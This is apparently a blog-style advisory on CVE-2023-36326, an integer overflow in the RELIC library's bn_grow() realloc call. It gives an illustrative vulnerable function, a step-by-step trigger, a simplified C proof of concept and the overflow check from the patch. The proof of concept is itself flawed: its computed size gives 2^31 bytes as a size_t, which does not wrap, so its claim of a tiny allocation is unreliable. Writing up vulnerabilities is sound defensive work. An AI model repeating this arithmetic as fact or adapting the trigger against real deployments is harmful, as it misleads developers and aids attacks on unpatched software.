The world of cryptography depends on secure, well-tested libraries. RELIC is a popular cryptographic toolkit used by developers and companies worldwide. However, in June 2023, a severe vulnerability was found: CVE-2023-36326. This flaw allows attackers to execute arbitrary code, crash the application (denial of service), or even escalate privileges. The culprit? A classic mistake: an integer overflow in the usage of realloc() inside the bn_grow() function.

In this post, we’ll break down what happened, show you sample code, dive into the exploit details, and discuss how you can protect your systems.

1. A Quick Introduction to RELIC and Integer Overflows

RELIC is an efficient and flexible C library for cryptographic protocols. It handles big numbers, elliptic curves, and other heavy cryptographic math.

An integer overflow happens when a number gets too big (or too small) for its variable type. For example, if you try to store 300 in an unsigned 8-bit variable (which can only hold up to 255), it “wraps around” and you end up with an unexpected result.

When overflows happen inside memory management code, like in calls to realloc(), you can get catastrophic security bugs.

Where is the Bug?

The vulnerability is in the bn_grow() function, which is responsible for enlarging a buffer that holds big numbers. Before commit 34580d840469361ba9b5f001361cad659687b9ab, the code didn’t properly check if realloc() might be asked for an impossibly large allocation—triggering an integer overflow.

Vulnerable Code Snippet

void bn_grow(bn_t a, int size) {
    if (a->alloc < size) {
        // Calculate new allocation size
        int new_alloc = size + BN_EXTRA; // BN_EXTRA is some small constant
        // realloc receives (new_alloc * sizeof(dig_t))
        a->dp = (dig_t *) realloc(a->dp, new_alloc * sizeof(dig_t));
        if (a->dp == NULL) {
            // handle out of memory
        }
        a->alloc = new_alloc;
    }
}

*What’s the problem?*
If size is set to a large value such that new_alloc * sizeof(dig_t) wraps around (overflows), then realloc will allocate *much less* memory than intended. This opens the door to heap-based buffer overflows.

3. Exploit Details: How an Attacker Can Go From Overflow To Code Execution

Attackers can exploit this in any code path that lets them control the size of a big number. Here’s how a chain of exploits would work:

Step 1: Trigger The Overflow

An attacker calls functionality that eventually uses bn_grow() and passes a *very large* size — large enough so that size + BN_EXTRA (let’s call it new_alloc) multiplied by sizeof(dig_t) is bigger than INT_MAX or SIZE_MAX (depending on platform).

For example

#define BN_EXTRA 4         // For illustration only
typedef uint32_t dig_t;    // Suppose

int malicious_size = INT_MAX / sizeof(dig_t) + 1 - BN_EXTRA;
bn_grow(victim_bn, malicious_size); // Triggers the overflow!

Step 2: Heap Overflow

The result? The buffer allocated is far too small. When later code thinks the buffer is bigger (because a->alloc was set to an incorrectly large value), it writes past the end—clobbering heap metadata and potentially other data.

Example Proof-of-Concept (PoC)

// Simplified demonstration (for illustration only!)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <limits.h>

typedef uint32_t dig_t;

struct bn_st {
    dig_t *dp;
    int alloc;
} bn;

void bn_grow(struct bn_st *a, int size) {
    printf("Allocating for size: %d\n", size);
    int new_alloc = size + 4;
    size_t total_size = new_alloc * sizeof(dig_t);
    a->dp = realloc(a->dp, total_size);
    printf("Allocated: %zu bytes\n", total_size);
    a->alloc = new_alloc;
}

int main() {
    struct bn_st bn = {NULL, };
    int malicious_size = (INT_MAX / sizeof(dig_t)) + 1 - 4;
    bn_grow(&bn, malicious_size); // Potential integer overflow!
    // writing to a->dp beyond allocated size may now corrupt memory!
}

*On many systems, this will now allocate a tiny buffer, but the code will think it’s enormous.*

4. Mitigation and Fix

The patch (commit 34580d840469361ba9b5f001361cad659687b9ab) fixed the flaw by checking for integer overflow before calling realloc():

if (size > (INT_MAX - BN_EXTRA) / sizeof(dig_t)) {
    // handle error: size too large
}

Audit user input: Make sure the size passed to RELIC APIs is checked!

- Use secure coding practices: Always check for integer overflows for calculations used in memory allocation.

5. References and Credits

- Original Security Advisory (NVD)
- RELIC GitHub Patch Commit
- Exploit Database Writeup _(For related heap overflows)_
- RELIC Toolkit Official Site

6. Conclusion

CVE-2023-36326 is a textbook case of why integer overflow bugs in cryptographic or memory allocation code are so dangerous. If you use RELIC—directly, or as a dependency—it’s vital to patch now, and always validate arithmetic before allocating memory. Even a small overflow in security critical code can lead to full remote compromise.

Stay safe. Update early. Code defensively.

*Did you find this writeup useful? Share it with your team and audit your code now!*

Timeline

Published on: 09/01/2023 16:15:08 UTC
Last modified on: 09/06/2023 00:04:24 UTC